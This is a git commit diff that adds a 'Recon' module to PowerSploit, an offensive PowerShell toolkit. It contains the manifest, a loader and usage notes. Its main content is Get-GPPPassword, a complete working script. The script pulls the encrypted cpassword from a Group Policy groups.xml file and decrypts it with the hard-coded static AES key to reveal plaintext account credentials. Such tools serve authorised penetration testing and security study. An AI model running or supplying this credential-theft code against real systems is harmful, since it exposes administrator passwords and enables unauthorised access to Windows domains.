Added 'Recon' Module
This commit is contained in:
parent
065a3b63a4
commit
b53b6a03a5
|
|
@ -0,0 +1,98 @@
|
||||||
|
function Get-GPPPassword {
|
||||||
|
|
||||||
|
<#
|
||||||
|
.Synopsis
|
||||||
|
|
||||||
|
Get-GPPPassword retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.
|
||||||
|
Author: Chris Campbell (@obscuresec)
|
||||||
|
License: BSD 3-Clause
|
||||||
|
|
||||||
|
.Description
|
||||||
|
|
||||||
|
Get-GPPPassword imports the encoded and encrypted password string from groups.xml and then decodes and decrypts the plaintext password.
|
||||||
|
|
||||||
|
.Parameter Path
|
||||||
|
|
||||||
|
The path to the targeted groups.xml file.
|
||||||
|
|
||||||
|
.Example
|
||||||
|
|
||||||
|
Get-GPPPassword -path c:\demo\groups.xml
|
||||||
|
|
||||||
|
.Link
|
||||||
|
|
||||||
|
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
||||||
|
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
|
||||||
|
#>
|
||||||
|
|
||||||
|
Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Path = "$PWD\groups.xml" )
|
||||||
|
|
||||||
|
#Function to pull encrypted password string from groups.xml
|
||||||
|
function Parse-cPassword {
|
||||||
|
|
||||||
|
try {
|
||||||
|
[xml] $Xml = Get-Content ($Path)
|
||||||
|
[String] $Cpassword = $Xml.Groups.User.Properties.cpassword
|
||||||
|
} catch { Write-Error "No Password Policy Found in File!" }
|
||||||
|
|
||||||
|
return $Cpassword
|
||||||
|
}
|
||||||
|
|
||||||
|
#Function to look to see if the administrator account is given a newname
|
||||||
|
function Parse-NewName {
|
||||||
|
|
||||||
|
[xml] $Xml = Get-Content ($Path)
|
||||||
|
[String] $NewName = $Xml.Groups.User.Properties.newName
|
||||||
|
|
||||||
|
return $NewName
|
||||||
|
}
|
||||||
|
|
||||||
|
#Function to parse out the Username whose password is being specified
|
||||||
|
function Parse-UserName {
|
||||||
|
|
||||||
|
try {
|
||||||
|
[xml] $Xml = Get-Content ($Path)
|
||||||
|
[string] $UserName = $Xml.Groups.User.Properties.userName
|
||||||
|
} catch { Write-Error "No Username Specified in File!" }
|
||||||
|
|
||||||
|
return $UserName
|
||||||
|
}
|
||||||
|
|
||||||
|
#Function that decodes and decrypts password
|
||||||
|
function Decrypt-Password {
|
||||||
|
|
||||||
|
try {
|
||||||
|
#Append appropriate padding based on string length
|
||||||
|
$Pad = "=" * (4 - ($Cpassword.length % 4))
|
||||||
|
$Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad)
|
||||||
|
#Create a new AES .NET Crypto Object
|
||||||
|
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
||||||
|
#Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
|
||||||
|
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
|
||||||
|
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
|
||||||
|
#Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value
|
||||||
|
$AesIV = New-Object Byte[]($AesObject.IV.Length)
|
||||||
|
$AesObject.IV = $AesIV
|
||||||
|
$AesObject.Key = $AesKey
|
||||||
|
$DecryptorObject = $AesObject.CreateDecryptor()
|
||||||
|
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
|
||||||
|
|
||||||
|
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
|
||||||
|
} catch { Write-Error "Decryption Failed!" }
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
$Cpassword = Parse-cPassword
|
||||||
|
$Password = Decrypt-Password
|
||||||
|
$NewName = Parse-NewName
|
||||||
|
$UserName = Parse-UserName
|
||||||
|
|
||||||
|
$Results = New-Object System.Object
|
||||||
|
|
||||||
|
Add-Member -InputObject $Results -type NoteProperty -name UserName -value $UserName
|
||||||
|
Add-Member -InputObject $Results -type NoteProperty -name NewName -value $NewName
|
||||||
|
Add-Member -InputObject $Results -type NoteProperty -name Password -value $Password
|
||||||
|
|
||||||
|
return $Results
|
||||||
|
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,88 @@
|
||||||
|
@{
|
||||||
|
|
||||||
|
# Script module or binary module file associated with this manifest.
|
||||||
|
ModuleToProcess = 'Recon.psm1'
|
||||||
|
|
||||||
|
# Version number of this module.
|
||||||
|
ModuleVersion = '1.0.0.0'
|
||||||
|
|
||||||
|
# ID used to uniquely identify this module
|
||||||
|
GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'
|
||||||
|
|
||||||
|
# Author of this module
|
||||||
|
Author = 'Matthew Graeber'
|
||||||
|
|
||||||
|
# Company or vendor of this module
|
||||||
|
CompanyName = ''
|
||||||
|
|
||||||
|
# Copyright statement for this module
|
||||||
|
Copyright = 'BSD 3-Clause'
|
||||||
|
|
||||||
|
# Description of the functionality provided by this module
|
||||||
|
Description = 'PowerSploit Reconnaissance Module'
|
||||||
|
|
||||||
|
# Minimum version of the Windows PowerShell engine required by this module
|
||||||
|
PowerShellVersion = '2.0'
|
||||||
|
|
||||||
|
# Name of the Windows PowerShell host required by this module
|
||||||
|
# PowerShellHostName = ''
|
||||||
|
|
||||||
|
# Minimum version of the Windows PowerShell host required by this module
|
||||||
|
# PowerShellHostVersion = ''
|
||||||
|
|
||||||
|
# Minimum version of the .NET Framework required by this module
|
||||||
|
# DotNetFrameworkVersion = ''
|
||||||
|
|
||||||
|
# Minimum version of the common language runtime (CLR) required by this module
|
||||||
|
# CLRVersion = ''
|
||||||
|
|
||||||
|
# Processor architecture (None, X86, Amd64) required by this module
|
||||||
|
# ProcessorArchitecture = ''
|
||||||
|
|
||||||
|
# Modules that must be imported into the global environment prior to importing this module
|
||||||
|
# RequiredModules = @()
|
||||||
|
|
||||||
|
# Assemblies that must be loaded prior to importing this module
|
||||||
|
# RequiredAssemblies = @()
|
||||||
|
|
||||||
|
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
|
||||||
|
# ScriptsToProcess = ''
|
||||||
|
|
||||||
|
# Type files (.ps1xml) to be loaded when importing this module
|
||||||
|
# TypesToProcess = @()
|
||||||
|
|
||||||
|
# Format files (.ps1xml) to be loaded when importing this module
|
||||||
|
# FormatsToProcess = @()
|
||||||
|
|
||||||
|
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
|
||||||
|
# NestedModules = @()
|
||||||
|
|
||||||
|
# Functions to export from this module
|
||||||
|
FunctionsToExport = '*'
|
||||||
|
|
||||||
|
# Cmdlets to export from this module
|
||||||
|
CmdletsToExport = '*'
|
||||||
|
|
||||||
|
# Variables to export from this module
|
||||||
|
VariablesToExport = ''
|
||||||
|
|
||||||
|
# Aliases to export from this module
|
||||||
|
AliasesToExport = ''
|
||||||
|
|
||||||
|
# List of all modules packaged with this module.
|
||||||
|
ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'})
|
||||||
|
|
||||||
|
# List of all files packaged with this module
|
||||||
|
FileList = 'Recon.psm1', 'Recon.psd1', 'Get-GPPPassword.ps1', 'Get-HttpStatus.ps1',
|
||||||
|
'Invoke-ReverseDnsLookup.ps1', 'Usage.md'
|
||||||
|
|
||||||
|
# Private data to pass to the module specified in RootModule/ModuleToProcess
|
||||||
|
# PrivateData = ''
|
||||||
|
|
||||||
|
# HelpInfo URI of this module
|
||||||
|
# HelpInfoURI = ''
|
||||||
|
|
||||||
|
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
|
||||||
|
# DefaultCommandPrefix = ''
|
||||||
|
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1 @@
|
||||||
|
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
|
||||||
|
|
@ -0,0 +1,12 @@
|
||||||
|
To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
|
||||||
|
|
||||||
|
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
|
||||||
|
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
|
||||||
|
|
||||||
|
To use the module, type `Import-Module Recon`
|
||||||
|
|
||||||
|
To see the commands imported, type `Get-Command -Module Recon`
|
||||||
|
|
||||||
|
For help on each individual command, Get-Help is your friend.
|
||||||
|
|
||||||
|
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
|
||||||
Loading…
Reference in New Issue